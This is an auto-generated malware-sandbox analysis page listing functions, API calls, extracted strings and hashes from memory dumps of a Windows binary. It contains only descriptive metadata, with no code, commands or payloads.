Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -
API String ID: 3839614884-2547889144
Opcode ID: 1f5753eefbbbc281cc550a72c65480dc67463109e97faf0b03260f45106d53c6
Instruction ID: 87fb410402890a7d411176fb6e27352e8339cb188f4f87ecdc4a005b9b6ebe8e
Opcode Fuzzy Hash: 1f5753eefbbbc281cc550a72c65480dc67463109e97faf0b03260f45106d53c6
Instruction Fuzzy Hash: 8831E6B2D102155BEB109F78DC817AEB7A9EFC5350F29422AF819D7381EB759E0183D1

Function 05954164 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0595416B
Concurrency::cancel_current_task.LIBCPMT ref: 05954281

Part of subcall function 0594FD8B: __EH_prolog3_GS.LIBCMT ref: 0594FD92

Strings

-6D, xrefs: 05954166

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskH_prolog3_H_prolog3_catch
String ID: -6D
API String ID: 2709520005-930682973
Opcode ID: fb0654f856706a6d4328a81d7426676dc373d0dee46d1d266c59ff89e3fa75b4
Instruction ID: 25eb86fe62484885101f422dc82aa2d0cf4ac0359ca1bd23c3365ee5163729a1
Opcode Fuzzy Hash: fb0654f856706a6d4328a81d7426676dc373d0dee46d1d266c59ff89e3fa75b4
Instruction Fuzzy Hash: 53316D71A012459FCB14DFA9C48499EBBF5FF99320F24861DD569A7380C730AA45CBA0

Function 059543B4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 059543BB
Concurrency::cancel_current_task.LIBCPMT ref: 059544BB

Part of subcall function 0594FD8B: __EH_prolog3_GS.LIBCMT ref: 0594FD92

Strings

g6D, xrefs: 059543B6

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskH_prolog3_H_prolog3_catch
String ID: g6D
API String ID: 2709520005-1249120331
Opcode ID: 2f6c24e52b3ac435da7c00fb66e5a31a4cfaa7f440dcf47f79501e53bf2f75f5
Instruction ID: 6fff4e2bb2256e284d6474935ae4e7f910c84d9ae9174e8974bdd5284affe524
Opcode Fuzzy Hash: 2f6c24e52b3ac435da7c00fb66e5a31a4cfaa7f440dcf47f79501e53bf2f75f5
Instruction Fuzzy Hash: 4B313271B012059FCF14DFA9D8849AEBBF5FF88324B20861DE569A73D0D734A941CB90

Function 05954294 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0595429B
Concurrency::cancel_current_task.LIBCPMT ref: 0595439B

Part of subcall function 0594FD8B: __EH_prolog3_GS.LIBCMT ref: 0594FD92

Strings

J6D, xrefs: 05954296

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskH_prolog3_H_prolog3_catch
String ID: J6D
API String ID: 2709520005-2061616632
Opcode ID: 525a6d9788416b7cf4442389ea2eef7cb29468b51d6e045bb261aebde42d1bfd
Instruction ID: 4d852b4d64243413c5bb2c41e283500d01ab37cd553ea4e3a107f7b4ff475960
Opcode Fuzzy Hash: 525a6d9788416b7cf4442389ea2eef7cb29468b51d6e045bb261aebde42d1bfd
Instruction Fuzzy Hash: 5D314F71A012059FCF14DFA9D9849AEBBF5FF88320B20862EE529A7290D730A941CB50

Function 0594E4EA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0594E4F1

Part of subcall function 0594F8C5: __EH_prolog3.LIBCMT ref: 0594F8CC

Part of subcall function 0595157B: __EH_prolog3.LIBCMT ref: 05951582

Strings

6&D, xrefs: 0594E4EC
', xrefs: 0594E567

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: H_prolog3
String ID: '$6&D
API String ID: 431132790-135963631
Opcode ID: e891734107a8b7106b3f412bd6cda0029be823f66ad55f354bcc28b33d933619
Instruction ID: 1836d6e47fc638c60413c60807d70b0f8326a99c15b10eb359f9c2ad68bad277
Opcode Fuzzy Hash: e891734107a8b7106b3f412bd6cda0029be823f66ad55f354bcc28b33d933619
Instruction Fuzzy Hash: BE313C70E05249EFDF14EBA4C558EAEBF78AF84310F10405ED406AB280DB746E09CB95

Function 0091C5F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0091C86F

Strings

csm, xrefs: 0091C902
csm, xrefs: 0091C891

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 5af3be038898235a752b8b5daef5a1c542b58dfb7028a610afe17194032a3e3e
Instruction ID: 5435f3cacbd94e2551b267e3e5da71740ded5d7a968013e5442fd8bb50fa9450
Opcode Fuzzy Hash: 5af3be038898235a752b8b5daef5a1c542b58dfb7028a610afe17194032a3e3e
Instruction Fuzzy Hash: 4831E9B268021DEBCF228F54CD80AFA7B69FF48755B18459AFC5459251C332CCE1DB85

Function 05950A53 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 05950A5D

Strings

H, xrefs: 059512F7
.D, xrefs: 05950A58

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: H_prolog3_
String ID: .D$H
API String ID: 2427045233-2149836473
Opcode ID: 4ea3f55d45f720e1be82944e3b4e6bc6ed971616cc677ebe63dfb653b9616ad8
Instruction ID: 1c33aa152eed3d7c27cbcd80e6b52ef90bce0287c738fd94d1ae0fdf97f1fe2a
Opcode Fuzzy Hash: 4ea3f55d45f720e1be82944e3b4e6bc6ed971616cc677ebe63dfb653b9616ad8
Instruction Fuzzy Hash: CF31AC71E05248EEEB14DBA8C948BDDBBB4AF58310F1085ADD115B7281D7786E09CB25

Function 008BCA80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000000,?,?,?,008490FB,00000001,?,?,?,?,?,?), ref: 008BCAA2

Strings

STATIC, xrefs: 008BCACB
C, xrefs: 008BCB6D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: HandleModule
String ID: C$STATIC
API String ID: 4139908857-943213032
Opcode ID: 9571a940192283a5ca8a18aefcfacdf5720afdf396394f8a1ddef510e39c0b7a
Instruction ID: 5096d084979fac02b0f021520fe1f54798cdb3ff5db8973b4733bd1c226e84b7
Opcode Fuzzy Hash: 9571a940192283a5ca8a18aefcfacdf5720afdf396394f8a1ddef510e39c0b7a
Instruction Fuzzy Hash: 3C31BC71A183049BD7049F69D8986BEBBE4FFC8314F05861EF88897251DBB09A809B91

Function 008683B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 00868439

Strings

SetFilePointerEx, xrefs: 0086849C
file_io_win.cc, xrefs: 0086848C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FilePointer
String ID: SetFilePointerEx$file_io_win.cc
API String ID: 973152223-1783654876
Opcode ID: 920394649c297fe4aa5ea00f08f5ad6fd6b2b5798a7cbc1e534439be3fda65f0
Instruction ID: 74941d89da847af9a77cc33858b409abbc0416aa1c1f7c0af9d79803ddb01823
Opcode Fuzzy Hash: 920394649c297fe4aa5ea00f08f5ad6fd6b2b5798a7cbc1e534439be3fda65f0
Instruction Fuzzy Hash: 8A218F716047549BC7209F289842B5BB7A9FBC5B14F018A29E849DB381DE70D905CBD2

Function 008BAEA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008BAEBF

Strings

check-the-interface, xrefs: 008BAEBA, 008BAF09, 008BAF10, 008BAF1D
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008BAF74

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$check-the-interface
API String ID: 4218353326-72280420
Opcode ID: e4a66f649e0ac4b23bce63da711a9d9696df0f1ec70f1fa825d27292e513de6d
Instruction ID: 4508c4939c9fd95a8d0b43601527a618571b74054e25851db761ca4fdc4ca466
Opcode Fuzzy Hash: e4a66f649e0ac4b23bce63da711a9d9696df0f1ec70f1fa825d27292e513de6d
Instruction Fuzzy Hash: 912106B1E0425A5ECB14AFB4D891BFFB7A5EF80314F160439E401E7382EB645A0487D2

Function 00840EA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00840EC1

Strings

do-not-launch-browser, xrefs: 00840EBC, 00840F0E, 00840F15, 00840F22
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 00840F75

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$do-not-launch-browser
API String ID: 4218353326-2519540672
Opcode ID: 656b683aeb7e0cc9292e3d07b7260222b5fd8bdce30d5d18d6bb1c454cd9291d
Instruction ID: b2ebdc442c0c4aff599d0532796185a3a064321752b88e8b143e96c2ce753514
Opcode Fuzzy Hash: 656b683aeb7e0cc9292e3d07b7260222b5fd8bdce30d5d18d6bb1c454cd9291d
Instruction Fuzzy Hash: B621F472D0421D9FCB20ABE8D891BEFB7A4EB54714F150439E905EB282EB745D088BD2

Function 008E2070 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008E208A

Strings

old_ver, xrefs: 008E2085, 008E20CD, 008E20D4, 008E20E1
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008E2128

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$old_ver
API String ID: 4218353326-2335872202
Opcode ID: 0fc51e875b60e6f064ab7bb2586269d7df9df786a3f96e6e7df1b4813e34013d
Instruction ID: cc67f12f856809cffd81f21bc8f3c17101054efec5256201e62fb31e8aabcc1c
Opcode Fuzzy Hash: 0fc51e875b60e6f064ab7bb2586269d7df9df786a3f96e6e7df1b4813e34013d
Instruction Fuzzy Hash: E9113AB2D0429D5FCB10AAE9DC92EBFB6ACEF41314F150439E910E7182EA215A45C7D2

Function 0595612E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 05956138

Part of subcall function 0594CD2C: __EH_prolog3.LIBCMT ref: 0594CD33

Strings

d, xrefs: 059561BE
H8D, xrefs: 05956133

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: H_prolog3H_prolog3_
String ID: H8D$d
API String ID: 3355343447-1469732128
Opcode ID: ed6f760672945644dbb071bb63a6a800d80f77f235118752496369c542947f77
Instruction ID: feabdeb3b0c4f349e5cf4aa827ca9f2c8310e276bfc8ca04944da5ac19551566
Opcode Fuzzy Hash: ed6f760672945644dbb071bb63a6a800d80f77f235118752496369c542947f77
Instruction Fuzzy Hash: 03215E71A012189FDB24FB64CD49BDD7AB8AF89300F5040E9E509A7241DB746F58CF91

Function 00834E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00834E60

Strings

..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 00834EC3
..\..\third_party\libc++\src\include\string:953: assertion __s != nullptr failed: basic_string(const char*) detected nullptr, xrefs: 00834ECA

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string:953: assertion __s != nullptr failed: basic_string(const char*) detected nullptr
API String ID: 4218353326-2004309996
Opcode ID: 0a248b1bfa77444f9b1529b10092264bc8173468dc0916fb7412f66cae2cdc0b
Instruction ID: 9151a4b2789a9893882d3a745317ba4306ee299276e2a5a4d7c60e48cb8eb2ef
Opcode Fuzzy Hash: 0a248b1bfa77444f9b1529b10092264bc8173468dc0916fb7412f66cae2cdc0b
Instruction Fuzzy Hash: 640128B2B002456AD7202EA5DC81E2B77CCFFD1768F15583AF405C7281EAB1AC4083E2

Function 0594CE9C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0594CEA6

Part of subcall function 0594C9C3: __EH_prolog3_GS.LIBCMT ref: 0594C9CA

Part of subcall function 0594DE14: __EH_prolog3.LIBCMT ref: 0594DE1B

Part of subcall function 0594FA18: __EH_prolog3.LIBCMT ref: 0594FA1F
Part of subcall function 0594FA18: _Func_class.LIBCONCRT ref: 0594FA71
Part of subcall function 0594FA18: _Func_class.LIBCONCRT ref: 0594FAC3
Part of subcall function 0594FA18: _Func_class.LIBCONCRT ref: 0594FAD6

Part of subcall function 0594DAFC: __EH_prolog3_GS.LIBCMT ref: 0594DB06

Part of subcall function 0594DA0B: _Func_class.LIBCONCRT ref: 0594DA4E

_Func_class.LIBCONCRT ref: 0594CF4B

Strings

! D, xrefs: 0594CEA1

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: Func_class$H_prolog3$H_prolog3_
String ID: ! D
API String ID: 3328072954-586896622
Opcode ID: 21598411db54109530d3edb8b3260081bdccbd1328aa32118fff40e5906d5dd3
Instruction ID: 2c059cabd77472aeabd64157f07edcafc5aa5d2c0b0b82e40f67d98769dfb371
Opcode Fuzzy Hash: 21598411db54109530d3edb8b3260081bdccbd1328aa32118fff40e5906d5dd3
Instruction Fuzzy Hash: 77218B70D06289AEDF05DFA8C908ADDBFB09F95304F148088D44477351C7746F45CBA1

Function 0089E050 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

MoveFileExW.KERNEL32(?,00000000,00000004,?,00000000), ref: 0089E0C3

Strings

DeleteFileAfterReboot, xrefs: 0089E08C
file_util_win.cc, xrefs: 0089E087

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FileMove
String ID: DeleteFileAfterReboot$file_util_win.cc
API String ID: 3562171763-2741251342
Opcode ID: b352ebe8a52dbe7d922c4e8565eff9e28afe063549b20609805b3c440d521fbe
Instruction ID: 6931239b0e27a76033cd6b98c7657ecb6ae3f5091f3fb97e447587a667b45a34
Opcode Fuzzy Hash: b352ebe8a52dbe7d922c4e8565eff9e28afe063549b20609805b3c440d521fbe
Instruction Fuzzy Hash: 45115931B04741ABEA10AF288C42B6BBB64FFC5754F104A2CF9E0971C1EBA0650486C1

Function 0089E400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00000000,?,?,?,?,?,00000000,?,?,?,0085D5AD,?,?,?), ref: 0089E45D

Strings

DirectoryExists, xrefs: 0089E43C
file_util_win.cc, xrefs: 0089E437

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AttributesFile
String ID: DirectoryExists$file_util_win.cc
API String ID: 3188754299-2619260668
Opcode ID: e2f37edc10478e69bae21f963d52b7743de0c2b5aec3eab393c5c9008ec4be5d
Instruction ID: 66683047e0ab6f543b06050d2f7039d068e3bdac42c5619f175270bcac3546ff
Opcode Fuzzy Hash: e2f37edc10478e69bae21f963d52b7743de0c2b5aec3eab393c5c9008ec4be5d
Instruction Fuzzy Hash: 4901F972B107456BE7106B388C8665EB764FFCA774F100B1DF9E593282FBA0655482C1

Function 0089E270 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00000000), ref: 0089E2CD

Strings

PathExists, xrefs: 0089E2AC
file_util_win.cc, xrefs: 0089E2A7

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AttributesFile
String ID: PathExists$file_util_win.cc
API String ID: 3188754299-4095027001
Opcode ID: 13b5aa07b37745b89ec62ec7460ff997fcc1096d6b2984538a6c18498ce28a51
Instruction ID: d5edacbe07e05fdb5bf42dc091426c3f9114104792ad648fc5075262a2738e31
Opcode Fuzzy Hash: 13b5aa07b37745b89ec62ec7460ff997fcc1096d6b2984538a6c18498ce28a51
Instruction Fuzzy Hash: 26016432A103456BD710AB388C82A6FB768FFCA730F100B1DF8E2935C1FBA0A54082C1

Function 00832C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(009648F4,00000000,00000000), ref: 00832C64
GetLastError.KERNEL32 ref: 00832C87

Strings

MZx, xrefs: 00832C3F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
